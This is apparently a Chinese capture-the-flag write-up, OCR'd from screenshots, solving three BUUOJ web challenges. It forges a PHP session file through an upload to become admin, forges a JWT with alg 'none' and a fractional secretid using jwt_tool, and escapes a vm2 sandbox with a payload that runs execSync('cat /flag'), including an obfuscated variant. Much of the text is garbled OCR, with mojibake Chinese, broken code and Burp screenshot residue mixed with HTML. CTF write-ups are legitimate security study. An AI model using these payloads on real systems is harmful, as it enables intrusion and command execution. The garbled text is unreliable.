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<?php
error_reporting(9);
session_save_path(
session_start();

require_once 5
highlight_file(_ FILE_ );

if($_SESSION[ ]

T

L
$filename
if(file_exists($filename)){

safe_delete($filename);
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$ SESSION[
)i
$direction = filter_ input(INPUT_POST,
$attr = filter input(INPUT_POST, );
$dir_path .$attr;
if($attr ){
$dir_path . .$ SESSION[
)i
if($direction ){
try{
if(!is_uploaded file($ FILES[
throw new RuntimeException(
)i
$file path = $dir_path. .$ FILES[
$file path . .hash_file( ,$ FILES]
if(preg_match( , $file path)){
throw new RuntimeException( );
)i
@mkdir($dir_path, 0700, TRUE);
if(move uploaded file($ FILES[ ]1,$file path)){
$upload_result ;
}else{
throw new RuntimeException(
)i
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction ) {
try{
$filename basename(filter_input(INPUT_POST,
$file _path = $dir_path. .$filename;
if(preg_match( , $file_path)){
throw new RuntimeException( );
)i
if(!file_exists($file_path)) {
throw new RuntimeException( )
)i
header( )
header( .filesize($file_path));
header( .substr($filename, 0, -65).
if(readfile($file_path)){
$download _result
}else{
throw new RuntimeException(

b
} catch (Run![](https:

$download result = $e->getMessage();

B H KEHZB B 5% session FAETE /var/babyctf/ 1, W session['username’]==="admin' , I
H file exists('/var/babyctf/success.txt') fF7E, M&EHfagT, EEXER file exist B,




file_exists() BREEE X8 H FREHFE. MR E X8k H FAAENIRE true, EHNIRF false.

LT HRBEAREXMRARE M, XENGEMTHR. ETRMEBRMET EEMTEFAEE, XEFE LR RER
ARG

$file path = $dir_path."/".$ FILES['up_file']['name'];

$file path .= " ".hash file("sha256",$ FILES['up_file']['tmp_name']);

B REATEE, session BRINHITEAEZ TR sess XXXXX(HPHPSESSIDIIME) , IBARMI%EEE download RE— T HT
) session , BAMR%28 71k ffsessiond &5 LA K AE RIBATH A ZiE, &F— T B 2HIPHPSESSIDX B f]session.
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Burp Intruder Repeater Window Help

[Target I Proxy I Spider T Scanner I Intruder TRepeater I Sequencer I Decoder I Comparer I Extender T Project options I User options IA\er‘ls ]

1 6 |2 [3 |4 = |6 [8=[9 = [10 =11«

Go Cancel < |v > | Target: http://2709576a-448b-41c9-84bc-b5939c904ab9.node 3.buuoj.cn ,f ?
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST / HITR/1.1 A #DD0000" " Content-Disposition: &nbsp:attachment :&nbsp:filename=""</span><span i
Host: 2709576a-448b-41c0-84be—h59392904ahy. node3. buusj. en r style="color: Z007700">.</span><{span style="color: #0000EBE">substr</span><span style="color: r
User-Agent: Mozilla/5.0 (Windows NI 10.0; WinG4; x64; rv:72.0) "5 (</span><{span style="color: #0000BB">$filename/span><{span style="color:

Gecko/20100101 Firefox/72.0 »&nbsp;</span><span style="color: JBE" »0</span><span style="coler:

Accept: L &nbsp :—</span><span style="color: J00BE” »65</span>{span style="color:

text/htunl. application/xhtnl+xml. application/=znl: g=0. 9, inage/webp, */*; q=0. »). </spanr<span style="color: ZDD0O000 *</span><span style="color: H007700">) :<br

8 />¢mbsp :&nbsp :&nbsp ; &nbsp ; &nbsp :&nbsp  &nbsp ; &nbsp: 1f (</span><span style="color:
Accept-Language #0000BE" >readfile</span><span style="color: # 17> {</span><span style="color:

zh—CHl. zh: g=0. 8, zh-TW: q=0. 7, eh-HK : ¢=0. 5, en-US  g=0. 3. en: g=0. 2 Z0000BB" »$file_path</span><span style="color 0">3) {<br

Referer: http://2700576a-448h—41c9-54hc-h5939c004ab9. node3. buuoj. en/ /7&nbsp :&nbsp :&nbsp :&nbsp : &nbsp :&nbsp :&nbsp : &nbsp :&nbsp :&nbsp ; &nbsp :&nbsp: </span’spa
Content-Type: application/z-www—formurlencoded n style="color: =0000EE">$§dovmload_result&nbsp;</spanr{span style="color

Content-Length: 65 =fnbsp;</span’<{span style="color: #DD0000":>" dowvmloaded” </span><span styvle="color:

Origin: http://2709576a-448b—41c9-84bec-b3939c004abd. node3. buuoj. cn % :<br /*&nbsp:&nbsp:&nbsp:&nbsp:&nbsp:&nbsp:&nbsp &nbsp:}else {<br

Comnection: close / p &nbsp  &nbsp &nbsp :&nbsp :&nbsp  &nbsp ; &nbsp :&nbsp ;&nbsp ;&nbsp ;&nbsp ; thr owdnbsp

Cockie: PHPSESSID=eeleThd42blbfledbficedbe519bh325h ;newlnbsp; </span’<span style="color: Z0000BB”*RuntimeException’/span’<span style="color
Upgrade-Insecure-Requests: 1 Z0077007 > (</spanr<span style="color: #DDO000">" errordnbsp;while&nbsp;saving’ </spans<{span
style="color: Z007700">) :<br /:&nbsp:&nbsp:&nbsp:&nbsp:&nbsp:&nbsp:&nbsp: &nbsp:}<br
direction=download&filename=sess_eeleThd4Zblbfledbbcesbe519bb3 250 /7&nbsp :&nbsp :&nbsp :&nbsp: } &nbsp: catch&nbsp: ({/span’{span style="color

00" >—&gt:</span’<span style="color:
Z0000BB" rgetMessage /span><span style="color: #0077007> () ;<br

/&nbsp ;&nbsp ; &nbsp ;&nbsp; } <br /&nmbsp;&nbsp :&nbsp ;&nbsp exit; <hr /) <br /<4 spans<span
style="color: ZOOOOUBE"»P&gt:<br /></span>

</span
L </code> wusernames:5: "guest”;
v L4
& < + > Type a search term (0 matches ? < + = Type a search term 0 matches
Done 14,083 bytes | 41 millis

X Bsession A AMKABHER AT T, HEEhex K IATHEIETR 7 1 oxos KA WFFF, WATARBEMEN BFECHE -
FRERA] LK exes B T BE L&, MWHEHFEE session[ 'username’ |===admin , FWERANIN ZFEWEHH EE—

A~ session , FFHANEHXTRH PHPSSEID , [l BRE /R MEARAD L

CAEBEAEN /var/babyctf/filename_xxxxxx (MANBRAIAE LRI, HkixEmomE) FHikEMw R Efilenameik sess, I 5L
BHER NsessionT 4 TG, FHH A Koo B 7R KIPHPSESSID, X5t ftdietiflagT .

S B— Wiisess

sess KN A H B K guestCvadminBi 7], {HyEZ 7 2 Fwinhexh 85 — AN 7 Bk 0x08

SEe55

Df fset o1 2 3 4 5 6 7 8 9 A B C D E F

oooooooo 08 75 73 B85 72 BE Bl 6D 65 73 3A 35 3A 22 61 64  usernames:5:"ad
0oooo010 6D 69 BE 22 3B min";



S B Wi EERE, FHEE direction i uplaod ,attr& %% B 7]

html
head
title title
head
body

form action method enctype

input type
br
input type
br
input type
br
input type

Kisess EAi&:
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[Target I Proxy I Spider I Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerls l
1% (2= |3 (4= |6x[8x]9x[10x]11x
i Go Cancel < |v >|v Target: http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn _&‘ ?
@ Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ XML
H
POST / HITP/1.1 ‘A > {</span><span style="color: A
Host: 2709576a—448h-41c9-84he-h5939c904ab9. node3. buusi. en OC0BE">$file_path</span><span style="color: =0077007>)) {<br I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:72.0) Gecko/20100101 Firefox/72.0 / >&nbsp ;&nbsp ; &nbsp ; &nbsp; &nbsp ; &nbsp ; &nbsp ; &nbsp ; &nbsp ; &nbsp
Accept: text/html,application/zhtnl+znl, application/zml:q=0. 9, inage/webp, */*  q=0. 3 s&nbsp:knbsp; </spans<span style="color:

Accept-Language: zh-CHN, zh;q=0. 8, zh-T¥; g=0. 7, zh—HE ;q=0. 5, en-US;g=0. 3, en; g=0. 2
Referer: http://localhost/exp. htnl
Content—Iype: multipart/form—data; boundary 191691572411478 >"dovnloaded” </span><{span style=
Content-Length: 425 &nbsp : &nbsp knbsp  &nbsp &nbsp
Origin: http://localhost /&nbsp :&nbsp ; &nbsp :&nbsp :&nbsp :&nbsp :
Comnection: close :&nbsp : &nbsp : throwknbsp :newdnbsp: </span’<{span style="color:
Cookie: PHPSESSID=eeleThd42blbfledhfceibe519bh325h 00BB” *RuntimeBException</span><{span style="color:
Upgrade-Insecure—Requests: 1 > (</span><span style="color:

8 :while&nbsp :saving” </span><span

r 191691572411478 3 ») i <hr
Content-Disposition: form—data: name="attr” />&nbsp:&nbsp &nbsp : &nbsp:&nbsp :&nbsp ; &nbsp :&nbsp : } <br

/>&mbsp ;&nbsp ; dnbsp ; &nbsp; Henbsp ; catchdmbsp ; (</span><{span

">$dovnload_resultdnbsp;</span<span style="color:
&nbsp: </span><span style="color:

else {<br

e 191691572411478
Content-Disposition: form-data; name="direction”
">$dovmload_result&nbsp:/spansispan

0" >=&nbsp: </span><span style="color:

span style="color: 0 >—&gt ; </span’<{span

color: #0000BE" >getMessage</span><{span style="color:

1”5 () :<br /&nbsp:&nbsp:&nbsp &nbsp; } <br

&nbsp ; &nbsp ; &nbsp: t:<br />}<br f></span><span

style="color: Z0000BB"»?&gt:<hr /o< /span>

191691572411478— f’ </span>

» </code> I
<) 2] 2] e omaches [ 2 [ < ][+ ][ >]

Done 14,062 bytes | 43 millis

o upload

191691572411478
Content-Disposition: form-data; name="up_file”: filename="
Content-Type: application/octet—stream

©n
b
7]
7]

usernames:5: “admin”;

m 0 matches

BATAT LUR$E _Liddownload— ¢, BE—TRBCEMII LT sess_xxxx X

$ B = 4% hash_file# & i 3 4 (B) PHPSESSID/ )i 47 # #t J& 3k [t PHPSESSID/E Fi flag
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1% 2= |3 = |4x|6=x[8x]|9x=]|10=x[11x

H
Go Cancel < |v > |
Request

Raw | Params | Headers | Hex

Target: http://2709576a-448b-41c9-84bc-b5939c904ab9.noded.buuoj.cn _f ?

Response

Raw | Headers | Hex

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; 1v:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/zhtnl+znl, application/znl:q=0. 9, inage/webp, */*  q=0. 3
Accept-Language: zh-CN, zh:q=0. 8, zh-TW;q=0. 7, zh-HK:q=0. 5, en-US;g=0. 3, en:g=0. 2
Referer: http://localhost/exp. htnl
Content-Type: multipart/form—data; boundary 293582696224464
Content-Length: 653

pOrigin: http //localhost
Connection: clese
Cookie: PHPSESEID=432h8b09230c4aT59860710d1312b63a69f 1h833ab602c9ad5f0299d1dT6a5a4
Upgrade-Insecure—Requests: 1

e

203582696224464
Content-Disposition: form-data; name="attr”

success. txt

203582696224464
Content-Disposition: form-data; name="direction”

upload

293582696224464
Content-Disposition: form—data; name="up file”; filename="1.php"
Content-Type: application/ectet—stream

<7php
a 203582696224464—
3
=
? < + = Type a search term
p Done

WEB 2 EasyLogin

5

0 matches

Z0000BE" >$f1le_path</span’<span style="color: =2007T007>)) {<br &
/&nbsp:&nbsp : &nbsp : &nbsp :&nbsp :&nbsp : &nbsp :&nbsp : &nbsp :&nbsp ™
;&nbsp;&nbsp; ¢/span’<{span style="color:
#0000EE" »$dovmload_resulténbsp:</span><{span style="color:
107700 »=&nbsp: </span’<{span style="color:
#DD0000" > " dovmloaded” </span><span style="color: Z007700">; <br
/*&nbsp :&nbsp : &nbsp :&nbsp: &nbsp :&nbsp : &nbsp :&nbsp: }else {<hr
/>dmbsp ;&nbsp ; dnbsp ; &nbsp ; &nbsp ; &nbsp ;
:&nbsp:&nbsp: throwknbsp :newknbsp: </span><span style="color:
Z0000EE" *Runt imeException</span><span style="color:
20077007 > (</span><span style="color:
20000007 " error&nbsp; whilednbsp ;saving’ </span’<span
style="color: #007700">):<br
/»&mbsp ;&nbsp ; &nbsp ; &nbsp; &nbsp :&nbsp ; dnbsp ;&nbsp: } <br
&nbsp:&nbsp :&nbsp: }&nbsp: catchénbsp: (</span’><span
color: Z0000BB” *RuntimeExceptiondnbsp: $e/span:{span
: H007700" ) &nbsp: {<br
/&nbsp:&nbsp  &nbsp :&nbsp :&nbsp :&nbsp : &nbsp :&nbsp : </ span’{span
1000CEE" »$dovmload result&nbsp:</span><span
style="color: 2007700" =&nbsp:</span’<{span style="color:
#0000BE" »$e</spanr<span style="color: #00TT00">—&gt ;< /span><span
color: #0000BE">getMessage</span><{span style="color:
200770075 () ;<br />&nbsp&nbsp ;&nbsp ; &nbsp; } <br
/>&nbsp:&nbsp &nbsp &nbsp:exit:<br /*}<br /></span><span
style="color: Z0000BE">?&gt;<br /></span>
</span>
</code flag {4b2e3552-0a3c-48d8-9335-113bc04925cf}
|
? < + > Type a sear 0 matches

14104 bytes | 45 millis

HEAZFIET, HAREL TR, BBH, SER—BR, SREEH. BRAREEE, THRREF12, K
Bl /static/js/app.js » nodejsB K, TiH R HFKoa-static, 87T —TF R —BESEEapp.js, BRTEE, W FIEL:



Koa = require('koa');

bodyParser = require('koa-bodyparser');
session = require('koa-session');
static = require('koa-static');

views = require('koa-views');

crypto = require('crypto');

{ resolve } = require('path');

rest = require('./rest');

controller = require('./controller');

PORT = 3000;

app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex")];
global.secrets = [];

app.use(static(resolve(__dirname, '."')));

app.use(views(resolve(__dirname, './views'), {

extension: 'pug

1)
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log( app started at port ${PORT}... );

A HIIEAFTE rest.js Ml controller.js , FXHANEEKIL /controllers/api.js Wi— T R MALT:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;
module.exports = {
'"POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(lusername || username === 'admin'){

throw new APIError('register error', 'wrong username');

if(global.secrets.length > 100000) {
global.secrets = [];

const secret = crypto.randomBytes(18).toString('hex');




global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({

token: token

1)

await next();

¥

'"POST /api/login': async (ctx, next) => {

const {username, password} = ctx.request.body;

if(!username || !password) {

throw new APIError('login error', 'username or password is necessary');

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorizat

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {

throw new APIError('login error', 'no such secret id');

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;

ctx.rest({
status

1)

await next();

¥

'"GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== "admin'){
throw new APIError('permission error', 'permission denied');

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag

1)

await next();




XFBEEFREX T, EREWRIRWHIAH RN, fEix BEE—T:
JSON Web& LR BB =0 AR, XEEIHR ) 2K, 2R

o 3L¥E (Header)
o HHEM (Payload)

o X4 (Signature)
i, JWTEHE 22 xxxxx.yyyyy.zzzzz »

3k (Header)

LA THRBRT ZIWTHRERKEE, BEEEMSAEK: SEIRE (BIIWT FFEH K842 5.
Bl

{
“alg” “HS256”,

“typ”: “JWT”
}
SR, BLJSON#:Base64Urithitd LAY JIWTHKI 3 —#843.

£ B (Payload)

LHE I RBA, WET token —EAFR, UUHBIERERIRS HREMF XA token. RN IERTLAEE—LHE X
miER, APEER#H.

B AT BE AR

{

“sub”: “1234567890”,

“name”: “John Doe”,

“admin’: true

}
RIG, XERAT#E1TBase64Ungwis, LA EJSON Web4 HHISE — 4.

% %4 (Signature)

BEQREAMS, WLTERBRGH AR, MDA RE, B, KMhiefEs, P H#TEs.

filtn, wRZEMEFHHMAC SHA2565:, WK LT 77 REI@% 4

HMACSHA256(

base64UrIEncode(header) + “.” +

base64UrIEncode(payload),

secret)

BZARATRIEHSBEEBNSIBEPEFEY, HENTHEARARTELNSH, B RIEJWTH R IEE ZEPT KL
56

EREXEHNFEXEM, const secret = global.secrets[sid]; X BEd£RLTERE T — 1 secretF/ENFEHHITES,
T4 FIEARIIE T JWTEAL S S 12 A 4% B A P B SUE R header H11 alg FE AT &S A none, —&JWTE X FEnoneH
%, MRAERELHEYE, Halghnonel FiR A HTELRK . HEZLDRBRIIGES EREEHIE, (HR sid AR AT A H]
1, mRAEXBRAKsSidRE N0, FTLARIH R XA, [EfSsecretR NEER, WEt&null. X EptaeEEM
Fjwt_toolsBEAT 4 B

TRAENIE A Kjwt tokenff B 5 ik H sz N =Fh


https://github.com/ticarpi/jwt_tool

1. 62542 B Anone

2. K RS256 HIEMUAHS256 (FEX R E G R E=>XF FREFDHIE)

HS256 5 124 Fi B 41 0 B A T8 B AT 28 42 R

T RS256 512 I 4 F AABH X ¥ B3 AT 28 4 33 F A 4H 34T B 1 I

R HE MRS 256 80 HS 256, W fE s AR ASRAE F A4 N B4, SR FIHS256 ik IIEA 4 .«

HF Y& A A DRI A, Fitk, ZdEw] BLE LI M EVE B SUNHS 256, ARG FIRSALA N SR #1784 .

3.MWfREHS256 (WFRINEFEHELE) %4

X B i B — Fjwi-tools i F ¥

WA (HMACHE )

python3 jwt_tool.py JIWT_HERE -C -d dictionary.txt

SRAE AT SR R B B AR B0 IE ) A

BATAT U B J7 B SRk, AR BEMEA

$python3 jwt_tool.py IWT_HERE(jwt token) -T



Please select a field number:
(or 0 to Continue)

0

Token payload values:
1 secretid = 0

username = 123
password = 123 e
iat = 1587560646 ==> TIMESTAMP = 2020-04-22 21:04:06 (UTC)
*ADD A VALUE=*
*DELETE A VALUE=*
*UPDATE TIMESTAMPS*
Continue to next step

Please select a field number:
(or 0 to Continue)

1

Current value of secretid is: 0
new value and hit ENTER
secretid = 0.2
username = 123
password = 123 N
iat = 1587560646 ==> TIMESTAMP = 2020-04-22 21:04:06 (UTC)
*¥ADD A VALUE#*
#DELETE A VALUE=#*
*UPDATE TIMESTAMPS:*
Continue to next step

Please select a field number:
(or 0 to Continue)

0
)

Current value of username is: 123
Please enter new value and hit ENTER
admin
secretid
username = admin
password = 145 N
iat = 1587560646 ==> TIMESTAMP = 2020-04-22 21:04:06 (UTC)
*ADD A VALUE*
*DELETE A VALUE=*
*JPDATE TIMESTAMPS:*
] Continue to next step

0.2

B3 jwt
token :eyJhbGciOidub25lliwidHIwljoiSIdUIN0.eyJzZZWNyZXRpZCI6l[AuMilsIinVzZXJuYW1lljoi YWRtaW4iLC JwYXNzd29yZCI6 [EyMyl
simlhdCI6MTU4NzU2MDYONNO.




Burp Intruder Repeater Window Help

[Target I Proxy T Spider I Scanner I Intruder T Repeater T Sequencer T Decoder I Comparer I Extender T Project options T User options IAIerls ]

1= (2% |3 x[4x |6x |8 x |9 = [y 11 =

Go Cancel < (v > v Target: http://a013bbc4-d241.4811-bad7 49dbd72c1efd.nodel.buuoj.cn _# ?

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /api/login HTTR/1.1

A HITP/1.1 200 OK A
Host: a0l3bbc4-d241-4811-bad7-49dbd72clef4. nodel. buucj. cn r Server: openresty r
User—-Agent: Mozilla/5.0 (Windews NT 10.0: WinG4: =64: rv:72.0) Gecko/20100101 Date: Wed, 22 Apr 2020 13:35:04 GMT
Firefox/72.0 Content-Type: application/jsen: charset=utf-§
Accept: ®/% Content-Length: 15
Accept-Language: zh-CN. zh:g=0. 8, zh-1¥.q=0. 7, zh-HEK: q=0. 5. en-US: g=0. 3. en; q=0. 2 Comnection: close
Referer: http://a013bhcd-d241-4811-badT-49dhd72¢clef4. node3. bunoj. end login Set-Cookie:
Content-Type: application/z-www—form—urlencoded; charset=UTF-8 sses: aok=ey] 1cZVybnFt ISI6 InFkbWluliwiX2V4ct 1y IS TGMTUAN Y00 Dkwl Dy 0CwiX 2 1The EFnZSIG0DY
¥-Requested-With: XMLHttpRequest OMDAWMDEY; path=/; expires=Thu, 23 4pr 2020 13:35:04 GHMT; httponly
Content-Length: 174 Set—Cookie: sses:ack. s1g=pBEYJLEjaRtFF]IxLNc1ikQB28Y; path=/; expires=Thu, 23 Apr
Origin: http://a013bbcd-d241-4811-bad7-49dbd72clef4. node3. buuoj. cn 2020 13:35:04 GNT; httponly
Comnection: close
username=adningpassword=123&authorization=evThbGci0iJub251IiwidHlwI joiS1dUInd. evTzZWIT
FIXRpICIGT jAuMiIsInVaIXJuTW1lIioi TWRtaW4ilCTwiXNzd20vICI6TjEvMyIs InlhdCIENTU4NzUZNDTO
Tmo.
b b
hd hd
? < +F > d5600004zCdmvTrRKQeDwkLNVIMZ|F 1AV gGvh-Qz-mDY 0 matches ? < < = 0 matches
Done 451 bytes | 38 millis

REEBREMNE, REBREETkalgi none, MABREKEH jwt token , MW RFB/UARSMERELKYE, XEEH
R thi&admin, 5t 56 8 Fapi/getflag(), /3 2liflag..

web 3 JustEscape

RAMEBAEEAR, BE] run.php & EIFIK:

<?php
if( array_key exists
$code $ GET

echo eval(code

else
highlight file(_ FILE_ _

BE A B B4 IR Bl syntaxError , BAIREZITIS. PSR RR, WEAEPHP, MRnodejsEHI, iX?Jti’f&flJ
HIRERXT, BEERAMAEX. EUEAMIE, FRnodejs B RIRN, AILA google hack HiHackiM 2019 Webff—
BRIX AR, BEREEX

fRiEA1
XERMFBERIBMBAIBLR, RIE google hack 23| [,code=Error().stack

. = N >
7e27c04-6169-4ebf- -7d11 9. 3 k -.php?code=Er i e H Q = & ]
&« > C @ U £ c7e27c04-6169-4ebf-b9f8-7d11e71210b9.node3.buucj.cn/run.php?code=E -5 44 i = A r}‘v 4 ’1 iu », L

Error at vm js:1:1 at Script.runinContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (fapp/node_modules/express
/lib/router/layer.js:95:5) at next (fapp/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/routejs:112:3) at Layer.handle [as handle_request]
(/app/node_modules/express/lib/router/layer js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

T B T VBB, B TR AT A RIS AT T, B github EHvm27 issues A F IR RBER R, HEI T L
A, payload—iTid %, S@RABHIEA, RKibpythontb ki, FIZHE ban T L@ ¥, MEAMKMHI L RIEA RIS
H, AR Rcode R E N, TR LI LT R H T g2


https://www.anquanke.com/post/id/170708?display=mobile

BT REETF K issues b breakout HIN i%# &2 At kiR payload, #F]—A https://github.com/patriksimek/vm2/issues/225, %
BRI

© £ 7e27c04-6169-4ebf-b9f8-7d11e71210b9.node3.buucj.cn/run.php?code[]=t: BE e I}H Q &= J'-

SyntaxError: lllegal return statement

i dEvEreturn, A EE M returniik, KRILEEWE L ThkIR, SLPRCE. BJEflagfER BRT, EEZIEIW,
payload: ?code[ ]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return
process")();}}));catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}

fif %2

FKtpythonff ¥ b Akt , G SR — LE k) #5 H ) BR BOR A B AR L, RATRLZR AT DUEE — PR 8 3] — i 4, ER WS E
fTRCE. XE %3] T HALKERIMEE, KIAT OB 753 h g R g7 K ol «

B — L S0 f R AT 163 B i fD: (v BE T I issues B TH 4§ 3¢ 58 <7 4 5 B 1633 1))

payload=

(function(){TypeError[ X7 0x7 2x6fx7 4x6 X7 4X79X7 0x65 ][ X6 7 X6 5X7 4x5fX7 0X7 2x6fx6 3x65X7 3x73’] =

f=>f x63x6Fx6ex73x74x72x75x63x74x61x72 ();try{Object.preventExtensions(Buffer.from("*)).a = 1;}catch(e){return

€ X67x65x74x5Fx70x72x6Fx63x65x73x73 .mainModule.require(("x63x68X69x6cx64x5X7 OX7 2X6fX63X65X73X73 ")) x65x78Xx65x63x53
x79x6ex63 .toString();}})()

FRTEBT, NTRXFMIGEERF RS WIRK
ISE

BRBEANZ, HEnodejsBEEKAAL, WiLRXNFIIEE TRESHKFIRA, T —Lnodejs b KRR i BE & EL A
Hib R, ZREMAIIEIL R,


https://github.com/patriksimek/vm2/issues/225
file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/%2560x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73%2560
file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/%2528%2529=%253E%257B%257D
file:///C:/Users/ADMINI~1.ZB-/AppData/Local/Temp/%2560cat%20/flag%2560
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